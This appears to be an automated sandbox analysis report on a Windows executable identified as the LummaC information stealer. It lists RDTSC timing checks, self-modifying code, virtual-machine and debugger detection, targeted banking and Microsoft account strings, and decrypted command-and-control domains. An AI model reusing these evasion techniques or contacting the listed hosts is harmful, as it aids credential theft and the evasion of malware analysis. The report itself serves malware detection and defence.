Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDDC3 second address: 5CDDE08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5DA4DA2F62h 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007F5DA4DA2F5Ah 0x00000012 mov dword ptr [ebp+122D598Ch], eax 0x00000018 push 00000000h 0x0000001a mov si, dx 0x0000001d push B7E90AC6h 0x00000022 pushad 0x00000023 push edi 0x00000024 jnc 00007F5DA4DA2F56h 0x0000002a pop edi 0x0000002b jc 00007F5DA4DA2F5Ch 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDE08 second address: 5CDDE89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 4816F5BAh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F5DA4981DA8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub edx, 7911163Dh 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 mov esi, dword ptr [ebp+124523FDh] 0x00000036 push 00000003h 0x00000038 push 00000000h 0x0000003a push edi 0x0000003b call 00007F5DA4981DA8h 0x00000040 pop edi 0x00000041 mov dword ptr [esp+04h], edi 0x00000045 add dword ptr [esp+04h], 0000001Dh 0x0000004d inc edi 0x0000004e push edi 0x0000004f ret 0x00000050 pop edi 0x00000051 ret 0x00000052 mov dword ptr [ebp+122D1CF1h], esi 0x00000058 cld 0x00000059 mov esi, edx 0x0000005b push CE9E3E16h 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007F5DA4981DADh 0x00000068 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDE89 second address: 5CDDEA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDEA0 second address: 5CDDEA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDEA4 second address: 5CDDEFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 0E9E3E16h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F5DA4DA2F58h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sub cx, 2494h 0x0000002d lea ebx, dword ptr [ebp+12453C3Eh] 0x00000033 mov dword ptr [ebp+122D30E6h], edi 0x00000039 push eax 0x0000003a push edi 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F5DA4DA2F63h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDDFE0 second address: 5CDE000 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5DA4981DB3h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE000 second address: 5CDE006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE006 second address: 5CDE00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE00A second address: 5CDE00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE00E second address: 5CDE0A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov edi, 6E7BA6CEh 0x0000000f mov edx, 3950D451h 0x00000014 popad 0x00000015 push 00000003h 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F5DA4981DA8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1C01h] 0x00000037 mov ecx, 531F97B1h 0x0000003c jmp 00007F5DA4981DB3h 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push esi 0x00000046 call 00007F5DA4981DA8h 0x0000004b pop esi 0x0000004c mov dword ptr [esp+04h], esi 0x00000050 add dword ptr [esp+04h], 00000015h 0x00000058 inc esi 0x00000059 push esi 0x0000005a ret 0x0000005b pop esi 0x0000005c ret 0x0000005d push 00000003h 0x0000005f jnp 00007F5DA4981DACh 0x00000065 push DFE60003h 0x0000006a push eax 0x0000006b push edx 0x0000006c jnl 00007F5DA4981DACh 0x00000072 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE0A8 second address: 5CDE0AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE127 second address: 5CDE131 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5DA4981DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE1F8 second address: 5CDE1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE1FC second address: 5CDE23D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 436F6370h 0x0000000e pushad 0x0000000f mov ebx, dword ptr [ebp+122D1CDDh] 0x00000015 pushad 0x00000016 mov si, 121Ah 0x0000001a call 00007F5DA4981DB3h 0x0000001f pop esi 0x00000020 popad 0x00000021 popad 0x00000022 lea ebx, dword ptr [ebp+12453C52h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jng 00007F5DA4981DACh 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CDE23D second address: 5CDE241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFEE04 second address: 5CFEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4981DACh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CCAF14 second address: 5CCAF1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CCAF1A second address: 5CCAF41 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c js 00007F5DA4981DA6h 0x00000012 pop ebx 0x00000013 ja 00007F5DA4981DB4h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jmp 00007F5DA4981DACh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CCAF41 second address: 5CCAF47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFCF0C second address: 5CFCF37 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA4981DBFh 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F5DA4981DB7h 0x0000000f push eax 0x00000010 push edx 0x00000011 ja 00007F5DA4981DA6h 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFD4F4 second address: 5CFD4FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFD69F second address: 5CFD6B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5DA4981DAAh 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFD6B5 second address: 5CFD6B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFD6B9 second address: 5CFD6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFD6C5 second address: 5CFD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5DA4DA2F63h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDE1F second address: 5CFDE25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDF6D second address: 5CFDF86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F5DA4DA2F56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F5DA4DA2F56h 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDF86 second address: 5CFDFA5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5DA4981DB7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDFA5 second address: 5CFDFAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5DA4DA2F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDFAF second address: 5CFDFD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5DA4981DA6h 0x00000008 jmp 00007F5DA4981DB7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F5DA4981DA6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFDFD8 second address: 5CFDFE2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5DA4DA2F56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFE71F second address: 5CFE723 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFE723 second address: 5CFE72C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFE72C second address: 5CFE731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5D00FE8 second address: 5D0101E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 ja 00007F5DA4DA2F56h 0x0000000f jmp 00007F5DA4DA2F5Dh 0x00000014 popad 0x00000015 jnl 00007F5DA4DA2F5Ch 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push esi 0x00000026 pop esi 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFFAD9 second address: 5CFFADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFFADF second address: 5CFFB08 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F5DA4DA2F67h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 5CFFB08 second address: 5CFFB0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 108BD4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 108CDA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 108BE8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 3308B5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 5B5DE24 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 5CFFC9B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 5D94556 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Special instruction interceptor: First address: 5B61E4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe TID: 7120	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe TID: 4500	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe TID: 6668	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: ZvHSpovhDw.exe, 00000000.00000002.2426871797.0000000000287000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129585310.00000000053A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2182934684.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2204588573.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2260250985.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2104665583.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp, ZvHSpovhDw.exe, 00000000.00000003.2282308745.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ZvHSpovhDw.exe, 00000000.00000002.2428067104.0000000000ABB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000002.2434482660.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\}
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: ZvHSpovhDw.exe, 00000000.00000002.2434482660.00000000053BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: ZvHSpovhDw.exe, 00000000.00000003.2129585310.00000000053A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: ZvHSpovhDw.exe, 00000000.00000002.2426871797.0000000000287000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: ZvHSpovhDw.exe, 00000000.00000003.2129743391.000000000533C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: NTICE
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: SICE
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: hummskitnj.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: appliacnesot.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: screwamusresz.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: inherineau.buzz
Source: ZvHSpovhDw.exe, 00000000.00000002.2426374367.00000000000B1000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: scentniej.buzz
